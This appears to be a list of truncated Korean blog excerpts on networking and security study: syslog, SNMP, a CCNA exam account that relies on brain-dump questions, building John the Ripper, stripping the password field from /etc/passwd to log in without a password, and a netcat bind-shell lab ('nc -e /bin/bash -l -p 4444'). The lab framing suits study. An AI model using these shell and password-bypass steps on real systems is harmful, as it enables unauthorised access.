syslog는 로깅을 위한 표준 형식이다.한마디로 장치에 특이사항이나 변동이 발생하면메세지가 발생하게 된다. 예로 OSPF의 활성화 후 인접성을 형성하는 syslog를 확인해보자00:07:33: %OSPF-5-ADJCHG: Process 1, Nbr 192.168.100.1 on Serial0/0/0 from LOADING to FULL, Loading Done-OSPF 인접성 형성%LINK-5-CHANGED: Interface Serial0/0/0, changed state to administratively down-인터페이스 수동 shutdown 두개의 라우터에 같은 area의 ospf를 설정하면 잠시뒤 위와같은 syslog가 출력된다.( ospf 설정 후 기다리면 CLI 창에서 확인이 가능하다 )..

SNMP는 (Simple Network Management Protocol)의 약자로네트워크 모니터링을 위한 오픈스탠다드 프로토콜이다.라우터, 스위치, 서버 등 거의 모든 장치에 사용이 가능하다   SNMP 매니저 , SNMP 서버, NMS(Network Management System)세가지 모두 SNMP 서버를 의미한다.SNMP agent로 부터 정보를 수집하고 정리할 수 있고라우터나 스위치에서 실행된다. SNMP Agent는 SNMP의 클라이언트라고 생각하면 된다!   SNMP 매니저는 Agent로 부터Get 또는 Trap이 가능한데장치에서 서버로 정보를 가져오는 기능이다. 두개의 차이점은 Get은에이전트로부터 정보를 요청하는 것이고Trap은에이전트가 특정 이벤트 발생 능동적으로 정보를 전송하는 것..

CCNA를 취득했습니다. 8월 5일경 취득했는데 이제서야 올리네요 응시 비용이 40만원대로 너무 비싸서 긴장했었습니다.그래도 난이도는 정말 쉬웠습니다.  최신 덤프로 구매했고덤프 문제(7월 덤프) 에서 거의 그대로 나왔고저는 불안해서 udemy 에서 CCNA 강의도 들었습니다.  오프라인 시험장으로 신청했고강남 시험장에서 아침 9시에 봤습니다30분정도 일찍 도착했는데 바로 시험볼 수 있게 해주시더라구요  유형은choice, dnd, lab세가지로 나왔고lab은 3문제 출제 됐습니다. 시간이 정말 많이 남을 것 같아서중간 중간 껴있던 랩 시뮬 문제도 직접 풀어 봤습니다.  몇문제는 덤프 정답과다른 정답이 나오기도 했습니다예를 들면덤프정답 > link flap시험시 정답 > port security down..

john the reaper Kali OS에선john 명령어로 기본적으로 사용 가능한 프로그램이지만CentOS에선 기본으로 내장되지 않기 때문에설치해주어야 한다! 직접 John C소스 파일 받아서압축을 풀어보자 vi john-1.7.8/src/Makefile------------------------------------------------------LDFLAGS = -s -lcrypt------------------------------------------------------수정이후 아래 명렁어 실행cd /root/john-1.7.8/srcmakemake clean linux-x86-64 첫줄에 해당 문구를 추가하자그후 make 명령어들을 실행하자 make 명령어는Makefile안에여러 가지 해야..

이전에 배운 내용이지만다시 복기해보겠다.   그런데 passwd 파일의 권한부여는모두가 읽을 수 있게 되어있다. 이를 이상하게 여길 수도 있지만644 권한을 지우게 되면 로그인이 불가능해져서 그대로 둘 수 밖에 없다..  안의 내용을 살펴보면 아시다시피 패스워드 내용은 x로 되어있다. 안보여줄거면그냥 아무것도 없으면 되지 왜 x를 굳이 표시했을까?한번 지워보자!이처럼 x 값이 없어지면 어떻게 될지사용자 변경을 통해 로그인 해보자 사진상으로 잘 표현되지 않았지만패스워드를 묻지않고 바로 로그인된다! 그렇다고 passwd 파일에 패스워드 해쉬값이 아예 없다는건 또 아니다pwunconv입력 후vi /etc/passwdpwconv 입력시 다시 암호화해당 명령어를 입력한 뒤에 다시 들어가보면패스워드 해쉬값이 다시 ..

이전 글에서 사용한netcat을 다시 한번 사용해 볼 것이다. 이러한 침투 공격은 두가지로 나뉘는데 > Bind TCP : 공격자가 공격 대상으로 접근 공격자 --> 공격 대상> Reverse TCP : 공격 대상자가 공격자로 접근 공격대상 --> 공격자위처럼 두가지로 나뉜다.실습해보자! netcat   먼저 CentOS 와 Kali Linux를 준비해주자 두OS는 모두 NC 명령어로 netcat을 이용할 수 있다 nc -e /bin/bash -l -p 4444위 명령어로 CentOS의 4444포트로 접근시/bin/bash가 실행되게 해보겠다. 그리고 nc 192.168.10.50 4444Kali에서 nc 명령어로 CentOS에 접근해보겠다.위 사진이 접근이 완료된 상태다 CentOS에서 netstat으..